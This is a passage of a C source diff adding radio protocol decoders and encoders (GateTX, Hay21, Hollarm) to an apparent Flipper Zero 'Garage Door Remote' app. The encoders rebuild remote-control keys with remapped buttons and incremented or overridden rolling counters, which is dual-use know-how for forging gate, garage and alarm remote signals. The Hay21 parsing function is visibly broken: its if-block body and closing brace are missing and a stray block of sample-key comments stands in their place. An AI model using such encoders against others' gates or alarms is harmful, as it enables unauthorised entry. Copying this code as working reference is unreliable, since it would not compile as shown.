+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_gate_tx_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGateTx* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGateTx* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_gate_tx_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_gate_tx_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGateTx* instance = context;
+    subghz_protocol_gate_tx_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%06lX\r\n"
+        "Sn:%05lX  Btn:%X\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFF),
+        instance->generic.serial,
+        instance->generic.btn);
+}

applications/system/Garage Door Remote/protocols/gate_tx.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_GATE_TX_NAME "GateTX"
+
+typedef struct SubGhzProtocolDecoderGateTx SubGhzProtocolDecoderGateTx;
+typedef struct SubGhzProtocolEncoderGateTx SubGhzProtocolEncoderGateTx;
+
+extern const SubGhzProtocolDecoder subghz_protocol_gate_tx_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_gate_tx_encoder;
+extern const SubGhzProtocol subghz_protocol_gate_tx;
+
+/**
+ * Allocate SubGhzProtocolEncoderGateTx.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderGateTx* pointer to a SubGhzProtocolEncoderGateTx instance
+ */
+void* subghz_protocol_encoder_gate_tx_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderGateTx.
+ * @param context Pointer to a SubGhzProtocolEncoderGateTx instance
+ */
+void subghz_protocol_encoder_gate_tx_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderGateTx instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderGateTx instance
+ */
+void subghz_protocol_encoder_gate_tx_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderGateTx instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_gate_tx_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderGateTx.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderGateTx* pointer to a SubGhzProtocolDecoderGateTx instance
+ */
+void* subghz_protocol_decoder_gate_tx_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderGateTx.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ */
+void subghz_protocol_decoder_gate_tx_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderGateTx.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ */
+void subghz_protocol_decoder_gate_tx_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_gate_tx_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_gate_tx_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderGateTx.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_gate_tx_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderGateTx.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderGateTx instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_gate_tx_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/gdr_protocol_plugins.h

@@ -0,0 +1,14 @@
+#pragma once
+
+#include <lib/flipper_application/flipper_application.h>
+#include <lib/subghz/types.h>
+#include "protocol_items.h"
+
+#define GDR_PROTOCOL_PLUGIN_APP_ID      "gdr_protocol_plugins"
+#define GDR_PROTOCOL_PLUGIN_API_VERSION 1U
+
+typedef struct {
+    const char* plugin_name;
+    GDRProtocolRegistryFilter filter;
+    const SubGhzProtocolRegistry* registry;
+} GDRProtocolPlugin;

applications/system/Garage Door Remote/protocols/hay21.c

@@ -0,0 +1,492 @@
+#include "hay21.h"
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#include <lib/subghz/blocks/custom_btn_i.h>
+
+#define TAG "SubGhzProtocolHay21"
+
+static const SubGhzBlockConst subghz_protocol_hay21_const = {
+    .te_short = 300,
+    .te_long = 700,
+    .te_delta = 150,
+    .min_count_bit_for_found = 21,
+};
+
+struct SubGhzProtocolDecoderHay21 {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderHay21 {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    Hay21DecoderStepReset = 0,
+    Hay21DecoderStepSaveDuration,
+    Hay21DecoderStepCheckDuration,
+} Hay21DecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_hay21_decoder = {
+    .alloc = subghz_protocol_decoder_hay21_alloc,
+    .free = subghz_protocol_decoder_hay21_free,
+
+    .feed = subghz_protocol_decoder_hay21_feed,
+    .reset = subghz_protocol_decoder_hay21_reset,
+
+    .get_hash_data = subghz_protocol_decoder_hay21_get_hash_data,
+    .serialize = subghz_protocol_decoder_hay21_serialize,
+    .deserialize = subghz_protocol_decoder_hay21_deserialize,
+    .get_string = subghz_protocol_decoder_hay21_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_hay21_encoder = {
+    .alloc = subghz_protocol_encoder_hay21_alloc,
+    .free = subghz_protocol_encoder_hay21_free,
+
+    .deserialize = subghz_protocol_encoder_hay21_deserialize,
+    .stop = subghz_protocol_encoder_hay21_stop,
+    .yield = subghz_protocol_encoder_hay21_yield,
+};
+
+const SubGhzProtocol subghz_protocol_hay21 = {
+    .name = SUBGHZ_PROTOCOL_HAY21_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_hay21_decoder,
+    .encoder = &subghz_protocol_hay21_encoder,
+};
+
+void* subghz_protocol_encoder_hay21_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderHay21* instance = malloc(sizeof(SubGhzProtocolEncoderHay21));
+
+    instance->base.protocol = &subghz_protocol_hay21;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 64;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_hay21_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHay21* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+// Get custom button code
+static uint8_t subghz_protocol_hay21_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x5A:
+            btn = 0xC3;
+            break;
+        case 0xC3:
+            btn = 0x5A;
+            break;
+        case 0x88:
+            btn = 0x5A;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x5A:
+            btn = 0x88;
+            break;
+        case 0xC3:
+            btn = 0x88;
+            break;
+        case 0x88:
+            btn = 0xC3;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderHay21 instance
+ */
+static void subghz_protocol_encoder_hay21_get_upload(SubGhzProtocolEncoderHay21* instance) {
+    furi_assert(instance);
+
+    // Generate new key using custom or default button
+    instance->generic.btn = subghz_protocol_hay21_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
+
+    // Counter increment
+    // Check for OFEX (overflow experimental) mode
+    if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+        // standart counter mode. PULL data from subghz_block_generic_global variables
+        if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+            // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+            if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xF) {
+                instance->generic.cnt = 0;
+            } else {
+                instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+            }
+        }
+    } else {
+        // OFEX mode
+        if((instance->generic.cnt + 0x1) > 0xF) {
+            instance->generic.cnt = 0;
+        } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xE) {
+            instance->generic.cnt = 0xE;
+        } else {
+            instance->generic.cnt++;
+        }
+    }
+
+    // Reconstruction of the data
+    instance->generic.data =
+        ((uint64_t)instance->generic.btn << 13 | (uint64_t)instance->generic.serial << 5 |
+         instance->generic.cnt << 1) |
+        0b1;
+
+    size_t index = 0;
+
+    // Send key and GAP between parcels
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_hay21_const.te_long);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_hay21_const.te_long * 6);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_hay21_const.te_short);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_hay21_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_hay21_const.te_long * 6);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_hay21_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data and parsing serial number
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_hay21_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->btn = (instance->data >> 13) & 0xFF;
+    instance->serial = (instance->data >> 5) & 0xFF;
+    instance->cnt = (instance->data >> 1) & 0xF;
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+
+
+    // Hay21 Decoder
+    // 09.2024 - @xMasterX (MMX)
+
+    // Key samples (inverted)
+    //              button   serial     CNT (goes lower since 0/1 are inverted)
+    //14A84A = 000 10100101 01000010 0101 0 (cnt 5)
+    //14A848 = 000 10100101 01000010 0100 0 (cnt 4)
+    //14A846 = 000 10100101 01000010 0011 0 (cnt 3)
+    //14A844 = 000 10100101 01000010 0010 0 (cnt 2)
+    //14A842 = 000 10100101 01000010 0001 0 (cnt 1)
+    //14A840 = 000 10100101 01000010 0000 0 (cnt 0)
+    //14A85E = 000 10100101 01000010 1111 0 (cnt F)
+    //14A85C = 000 10100101 01000010 1110 0 (cnt E)
+    //14A85A = 000 10100101 01000010 1101 0 (cnt D)
+    //14A858 = 000 10100101 01000010 1100 0 (cnt C)
+    //14A856 = 000 10100101 01000010 1011 0 (cnt B)
+    //          0xA5 (Labeled as On/Off on the remote board)
+    //          0x3C (Labeled as Mode on the remote board)
+    //          0x42 (Serial)
+    //                BTN   Serial   CNT
+    //078854 = 000 00111100 01000010 1010 0 (cnt A)
+    //078852 = 000 00111100 01000010 1001 0 (cnt 9)
+    //078850 = 000 00111100 01000010 1000 0 (cnt 8)
+    //07884E = 000 00111100 01000010 0111 0 (cnt 7)
+    // Inverted back
+    //1877B9 = 000 11000011 10111101 1100 1
+    //1877BB = 000 11000011 10111101 1101 1
+    //1877BD = 000 11000011 10111101 1110 1
+    //0B57BF = 000 01011010 10111101 1111 1
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_hay21_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHay21* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_hay21_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_hay21_remote_controller(&instance->generic);
+        subghz_protocol_encoder_hay21_get_upload(instance);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_hay21_stop(void* context) {
+    SubGhzProtocolEncoderHay21* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_hay21_yield(void* context) {
+    SubGhzProtocolEncoderHay21* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_hay21_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderHay21* instance = malloc(sizeof(SubGhzProtocolDecoderHay21));
+    instance->base.protocol = &subghz_protocol_hay21;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_hay21_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_hay21_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+    instance->decoder.parser_step = Hay21DecoderStepReset;
+}
+
+void subghz_protocol_decoder_hay21_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case Hay21DecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_hay21_const.te_long * 6) <
+                        subghz_protocol_hay21_const.te_delta * 3)) {
+            //Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = Hay21DecoderStepSaveDuration;
+        }
+        break;
+    case Hay21DecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = Hay21DecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = Hay21DecoderStepReset;
+        }
+        break;
+    case Hay21DecoderStepCheckDuration:
+        if(!level) {
+            // Bit 1 is long + short timing
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hay21_const.te_long) <
+                subghz_protocol_hay21_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_hay21_const.te_short) <
+                subghz_protocol_hay21_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = Hay21DecoderStepSaveDuration;
+                // Bit 0 is short + long timing
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hay21_const.te_short) <
+                 subghz_protocol_hay21_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_hay21_const.te_long) <
+                 subghz_protocol_hay21_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = Hay21DecoderStepSaveDuration;
+            } else if(
+                // End of the key
+                DURATION_DIFF(duration, subghz_protocol_hay21_const.te_long * 6) <
+                subghz_protocol_hay21_const.te_delta * 2) {
+                //Found next GAP and add bit 0 or 1
+                if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hay21_const.te_long) <
+                    subghz_protocol_hay21_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hay21_const.te_short) <
+                    subghz_protocol_hay21_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                // If got 21 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_hay21_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = Hay21DecoderStepReset;
+            } else {
+                instance->decoder.parser_step = Hay21DecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = Hay21DecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Get button name.
+ * @param btn Button number, 4 bit
+ */
+static const char* subghz_protocol_hay21_get_button_name(uint8_t btn) {
+    const char* btn_name;
+    switch(btn) {
+    case 0x5A:
+        btn_name = "On/Off";
+        break;
+    case 0xC3:
+        btn_name = "Mode";
+        break;
+    case 0x88:
+        btn_name = "Hold";
+        break;
+    default:
+        btn_name = "Unknown";
+        break;
+    }
+    return btn_name;
+}
+
+uint8_t subghz_protocol_decoder_hay21_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_hay21_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_hay21_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_hay21_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_hay21_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHay21* instance = context;
+
+    // Parse serial, button, counter
+    subghz_protocol_hay21_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 8;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 8;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s - %dbit\r\n"
+        "Key:0x%06lX\r\n"
+        "Serial:0x%02X\r\n"
+        "Btn:0x%01X - %s\r\n"
+        "Cnt:%01X\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        (uint8_t)(instance->generic.serial & 0xFF),
+        instance->generic.btn,
+        subghz_protocol_hay21_get_button_name(instance->generic.btn),
+        (uint8_t)(instance->generic.cnt & 0xF));
+}

applications/system/Garage Door Remote/protocols/hay21.h

@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_HAY21_NAME "Hay21"
+
+typedef struct SubGhzProtocolDecoderHay21 SubGhzProtocolDecoderHay21;
+typedef struct SubGhzProtocolEncoderHay21 SubGhzProtocolEncoderHay21;
+
+extern const SubGhzProtocolDecoder subghz_protocol_hay21_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_hay21_encoder;
+extern const SubGhzProtocol subghz_protocol_hay21;
+
+/**
+ * Allocate SubGhzProtocolEncoderHay21.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderHay21* pointer to a SubGhzProtocolEncoderHay21 instance
+ */
+void* subghz_protocol_encoder_hay21_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderHay21.
+ * @param context Pointer to a SubGhzProtocolEncoderHay21 instance
+ */
+void subghz_protocol_encoder_hay21_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderHay21 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_hay21_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderHay21 instance
+ */
+void subghz_protocol_encoder_hay21_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderHay21 instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_hay21_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderHay21.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderHay21* pointer to a SubGhzProtocolDecoderHay21 instance
+ */
+void* subghz_protocol_decoder_hay21_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderHay21.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ */
+void subghz_protocol_decoder_hay21_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderHay21.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ */
+void subghz_protocol_decoder_hay21_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_hay21_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_hay21_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderHay21.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_hay21_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderHay21.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_hay21_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderHay21 instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_hay21_get_string(void* context, FuriString* output);

applications/system/Garage Door Remote/protocols/hollarm.c

@@ -0,0 +1,495 @@
+#include "hollarm.h"
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#include <lib/subghz/blocks/custom_btn_i.h>
+
+#define TAG "SubGhzProtocolHollarm"
+
+static const SubGhzBlockConst subghz_protocol_hollarm_const = {
+    .te_short = 200,
+    .te_long = 1000,
+    .te_delta = 200,
+    .min_count_bit_for_found = 42,
+};
+
+struct SubGhzProtocolDecoderHollarm {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderHollarm {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    HollarmDecoderStepReset = 0,
+    HollarmDecoderStepSaveDuration,
+    HollarmDecoderStepCheckDuration,
+} HollarmDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_hollarm_decoder = {
+    .alloc = subghz_protocol_decoder_hollarm_alloc,
+    .free = subghz_protocol_decoder_hollarm_free,
+
+    .feed = subghz_protocol_decoder_hollarm_feed,
+    .reset = subghz_protocol_decoder_hollarm_reset,
+
+    .get_hash_data = subghz_protocol_decoder_hollarm_get_hash_data,
+    .serialize = subghz_protocol_decoder_hollarm_serialize,
+    .deserialize = subghz_protocol_decoder_hollarm_deserialize,
+    .get_string = subghz_protocol_decoder_hollarm_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_hollarm_encoder = {
+    .alloc = subghz_protocol_encoder_hollarm_alloc,
+    .free = subghz_protocol_encoder_hollarm_free,
+
+    .deserialize = subghz_protocol_encoder_hollarm_deserialize,
+    .stop = subghz_protocol_encoder_hollarm_stop,
+    .yield = subghz_protocol_encoder_hollarm_yield,
+};
+
+const SubGhzProtocol subghz_protocol_hollarm = {
+    .name = SUBGHZ_PROTOCOL_HOLLARM_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
+            SubGhzProtocolFlag_Alarms,
+
+    .decoder = &subghz_protocol_hollarm_decoder,
+    .encoder = &subghz_protocol_hollarm_encoder,
+};
+
+void* subghz_protocol_encoder_hollarm_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderHollarm* instance = malloc(sizeof(SubGhzProtocolEncoderHollarm));
+
+    instance->base.protocol = &subghz_protocol_hollarm;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_hollarm_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHollarm* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+// Get custom button code
+static uint8_t subghz_protocol_hollarm_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
